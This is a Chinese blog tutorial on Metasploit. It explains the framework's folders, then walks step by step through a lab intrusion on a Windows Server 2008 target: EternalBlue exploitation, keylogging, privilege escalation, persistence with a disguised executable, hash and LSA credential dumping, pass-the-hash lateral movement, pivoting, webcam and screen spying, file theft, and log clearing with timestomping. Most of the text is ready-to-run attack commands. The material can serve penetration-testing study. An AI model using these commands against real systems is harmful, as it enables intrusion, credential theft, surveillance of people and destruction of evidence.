本文最后更新于 2025年9月22日 下午
msf漏洞利用系列 一、msf目录结构深度解读 modules文件 1 2 3 msf > ls /usr/share/metasploit-framework/modules/ [*] exec: ls /usr/share/metasploit-framework/modules/ auxiliary(辅助模块) encoders evasion exploits(漏洞利用) nops payloads(攻击载荷) post(后渗透模块) README.md
exploits/:包含针对特定软件或系统漏洞的利用代码。
auxiliary/:辅助模块,包括扫描、枚举、嗅探等各种功能,不直接造成系统损害。
payloads/:攻击载荷,一旦漏洞被利用成功,这些代码会被植入目标系统执行特定任务。
post/:后渗透模块,用于在目标系统被攻陷后执行的进一步操作,如权限提升、信息收集等。
data文件 存储了Metasploit的各种数据文件,如wordlists(密码字典)、nmap脚本等,为模块提供额外数据支持。
script文件 存放辅助脚本,如自动化升级脚本、数据库管理脚本等
提供了一系列外部工具,比如编码解码工具、密码破解工具等,这些工具可以独立于MSF框架使用
二、msf渗透测试实战——网络服务器攻击渗透 准备工作 攻击机:kali
靶机:windows Server 2008 R2 x64
漏洞利用 权限获取 对靶机进行漏洞扫描
1 nmap -sV --script=vuln 192.168.190.134
扫描到相应漏洞
在msf中搜索对应的利用模块
用auxiliary(辅助模块)的扫描进一步确认漏洞
1 2 3 4 use auxiliary/scanner/smb/smb_ms17_010 #使用对应模块 show options #查看参数 set rhost 192.168.190.134 #设置攻击目标 exploit #利用
使用漏洞利用模块
1 2 3 use windows/smb/ms17_010_eternalblue #使用对应模块 set rhost 192.168.190.134 #设置攻击目标 exploit #利用
后渗透 信息收集 1 2 3 4 5 6 7 8 sysinfo #基本系统信息 getuid #基本系统信息 getenvs #环境变量 getprivs #进程具备的权限 idletime #系统空闲实践 keyscan_start #键盘记录 keyscan_dump #导出键盘结果 keyscan_stop #停止键盘记录
权限提升 1 2 3 4 5 getsystem #内置提权命令 background # 将当前会话放到后台 use post/multi/recon/local_exploit_suggester # 本地漏洞利用建议器 set SESSION <你的会话ID> run # 它会自动扫描目标,推荐可用的本地提权exp
权限维持 1 2 3 4 5 6 7 8 9 background #保存会话 search persistence #寻找并选择合适的持久化模块 use windows/local/persistence #使用模块 show options #查看参数 set lhost 本机ip set lport 可用端口 set session <上面保存的会话> set EXE_NAME #进程伪装 set path c:// #文件存放路径
凭证获取 1 2 3 4 5 6 7 hashdump #抓取hash,需要system权限# 使用kiwi模块 load kiwi #加载模块 creds_all #列出所有凭据 lsa_dump_sam #导出SAM lsa_dumo_secrets #导出LSA机密 run post/windows/gather/smart_hashdump # 更智能的哈希抓取
横向移动 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 1. 使用 MSF 的 psexec 模块(利用获取的明文密码或哈希) meterpreter > background msf6 > use exploit/windows/smb/psexec msf6 exploit(...) > set RHOSTS 192.168.1.101 # 设置新目标IP msf6 exploit(...) > set SMBUSER administrator msf6 exploit(...) > set SMBPASS <明文密码> 或者 set SMBPASS <NTLM哈希> 或者 set SMBDOMAIN <域名># 如果使用哈希,使用 `set SMBPASS aad3b...:aad3b...` 格式(LM:NT) msf6 exploit(...) > set PAYLOAD windows/meterpreter/bind_tcp # 内网常用bind msf6 exploit(...) > exploit# 2. Pass-The-Hash 攻击(无需明文密码) # 如上所示,在 psexec 中直接设置哈希即可。 # 3. 使用已建立的会话作为跳板 (Socks Proxy) msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(...) > set VERSION 4a msf6 auxiliary(...) > run# 然后配置你的其他工具(如浏览器、nmap)的代理为127.0.0.1:1080,即可通过被控主机访问其内网。
数据收集与敏感信息挖掘 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 1. 文件搜索 meterpreter > search -f *.docx -d C:\\Users\\ # 搜索Users目录下所有docx文件 meterpreter > search -f "secret*.txt" # 搜索包含secret的txt文件# 2. 屏幕截图 meterpreter > screenshot# 3. 屏幕监控(需要系统权限和高性能连接) meterpreter > use espia # 加载espia插件 meterpreter > screenshare # 实时查看目标桌面# 4. 摄像头控制 meterpreter > webcam_list # 列出摄像头 meterpreter > webcam_snap # 拍摄一张照片 meterpreter > webcam_stream # 开启视频流# 5. 下载敏感文件 meterpreter > download C:\\Users\\Admin\\Documents\\database.zip /tmp/
痕迹清理 1 2 3 4 5 6 7 8 9 10 11 12 13 # 1. 清除日志 meterpreter > clearev # 清除Windows事件日志(安全、系统、应用程序)# 2. 修改文件时间戳(掩盖后门文件的创建时间) meterpreter > timestomp C:\\backdoor.exe -f C:\\windows\\system32\\calc.exe# 将后门文件的时间戳替换为计算器文件的时间戳 # 3. 移除持久化后门 # 这需要根据你创建后门的方式来回逆。 # 例如,如果是用`persistence`脚本,它会在注册表`HKLM\Software\Microsoft\Windows\CurrentVersion\Run\`或类似位置创建键值,需要手动进入shell删除。 meterpreter > reg deletekey -k <注册表路径> # 删除注册表项 meterpreter > shell C:\> del C:\path\to\backdoor.exe